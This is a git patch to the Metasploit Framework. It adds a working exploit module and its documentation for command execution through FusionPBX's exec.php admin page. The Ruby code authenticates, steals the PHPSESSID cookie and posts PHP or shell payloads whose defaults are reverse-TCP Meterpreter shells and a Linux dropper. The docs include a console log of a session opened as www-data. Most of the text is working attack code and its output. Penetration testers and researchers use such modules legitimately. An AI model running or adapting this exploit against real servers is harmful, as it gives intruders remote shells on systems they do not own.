From dca4ef7edf835856811941751c680a44a47b81a9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 13 Nov 2019 11:33:21 -0600 Subject: [PATCH] Land #12532, Add FusionPBX Command exec.php Command Execution Add FusionPBX Command exec.php Command Execution --- .../unix/webapp/fusionpbx_exec_cmd_exec.md | 83 ++++++++ .../unix/webapp/fusionpbx_exec_cmd_exec.rb | 183 ++++++++++++++++++ 2 files changed, 266 insertions(+) create mode 100644 documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md create mode 100644 modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb diff --git a/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md b/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md new file mode 100644 index 000000000000..c35d53547032 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md @@ -0,0 +1,83 @@ +## Description + + This module uses administrative functionality available in FusionPBX + to gain a shell. + + The Command section of the application permits users with `exec_view` + permissions, or superadmin permissions, to execute arbitrary system + commands, or arbitrary PHP code, as the web server user. + + +## Vulnerable Software + + This module has been tested successfully on FusionPBX version + 4.4.1 on Ubuntu 19.04 (x64). + + Software: + + * https://www.fusionpbx.com/download + * https://github.com/fusionpbx/fusionpbx/releases + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/unix/webapp/fusionpbx_exec_cmd_exec` + 3. Do: `set rhosts ` + 4. Do: `set username ` (default: `admin`) + 5. Do: `set password ` + 6. Do: `run` + 7. You should get a new session + + +## Options + + **TARGETURI** + + The base path to FusionPBX (default: `/`) + + **USERNAME** + + The username for FusionPBX (default: `admin`) + + **PASSWORD** + + The password for FusionPBX + + +## Scenarios + + ``` + msf5 > use exploit/unix/webapp/fusionpbx_exec_cmd_exec + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set rhosts 172.16.191.214 + rhosts => 172.16.191.214 + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set username admin + username => admin + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set password PXRtwZqSkvToC4gc + password => PXRtwZqSkvToC4gc + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set lhost 172.16.191.165 + lhost => 172.16.191.165 + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > show targets + + Exploit targets: + + Id Name + -- ---- + 0 Automatic (PHP In-Memory) + 1 Automatic (Unix In-Memory) + 2 Automatic (Linux Dropper) + + + msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > run + + [*] Started reverse TCP handler on 172.16.191.165:4444 + [+] Authenticated as user 'admin' + [*] Sending payload (1115 bytes) ... + [*] Sending stage (38288 bytes) to 172.16.191.214 + [*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.214:60772) at 2019-11-01 19:25:43 -0400 + + meterpreter > getuid + Server username: www-data (33) + meterpreter > + ``` + diff --git a/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb b/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb new file mode 100644 index 000000000000..b862c9faf557 --- /dev/null +++ b/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb @@ -0,0 +1,183 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'FusionPBX Command exec.php Command Execution', + 'Description' => %q{ + This module uses administrative functionality available in FusionPBX + to gain a shell. + + The Command section of the application permits users with `exec_view` + permissions, or superadmin permissions, to execute arbitrary system + commands, or arbitrary PHP code, as the web server user. + + This module has been tested successfully on FusionPBX version + 4.4.1 on Ubuntu 19.04 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => ['bcoles'], + 'References' => + [ + ['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html'] + ], + 'Platform' => %w[php linux unix], + 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Automatic (PHP In-Memory)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}, + 'Type' => :php_memory + ], + ['Automatic (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + 'Type' => :unix_memory + ], + ['Automatic (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, + 'Type' => :linux_dropper + ] + ], + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, + 'DisclosureDate' => '2019-11-02', + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), + OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']), + OptString.new('PASSWORD', [true, 'The password for FusionPBX']) + ] + end + + def login(user, pass) + vprint_status "Authenticating as user '#{user}'" + + vars_post = { + username: user, + password: pass, + path: '' + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), + 'vars_post' => vars_post + }) + + unless res + fail_with Failure::Unreachable, 'Connection failed' + end + + if res.code == 302 && res.headers['location'].include?('login.php') + fail_with Failure::NoAccess, "Login failed for user '#{user}'" + end + + unless res.code == 200 + fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" + end + + cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first + + unless cookie + fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' + end + + print_good "Authenticated as user '#{user}'" + + cookie + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + if res.body.include?('FusionPBX') + return CheckCode::Detected + end + + CheckCode::Safe + end + + def execute_command(cmd, opts = {}) + vars_post = { + handler: 'php', + table_name: '', + sql_type: '', + id: '', + cmd: cmd + } + + case opts[:handler] + when 'php' + vars_post[:handler] = 'php' + when 'shell' + vars_post[:handler] = 'shell' + when 'switch' + vars_post[:handler] = 'switch' + vars_post[:cmd] = "bg_system #{cmd}" + else + vars_post[:handler] = 'shell' + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'), + 'cookie' => "PHPSESSID=#{@cookie}", + 'vars_post' => vars_post + }, 5) + + unless res + return if session_created? + fail_with Failure::Unreachable, 'Connection failed' + end + + unless res.code == 200 + fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" + end + + if res.body.include? 'access denied' + fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}" + end + + res + end + + def exploit + unless check == CheckCode::Detected + fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" + end + + @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + + print_status "Sending payload (#{payload.encoded.length} bytes) ..." + + case target['Type'] + when :php_memory + execute_command(payload.encoded, handler: 'php') + when :unix_memory + execute_command(payload.encoded, handler: 'shell') + when :linux_dropper + execute_cmdstager(:linemax => 1_500, handler: 'shell') + end + end +end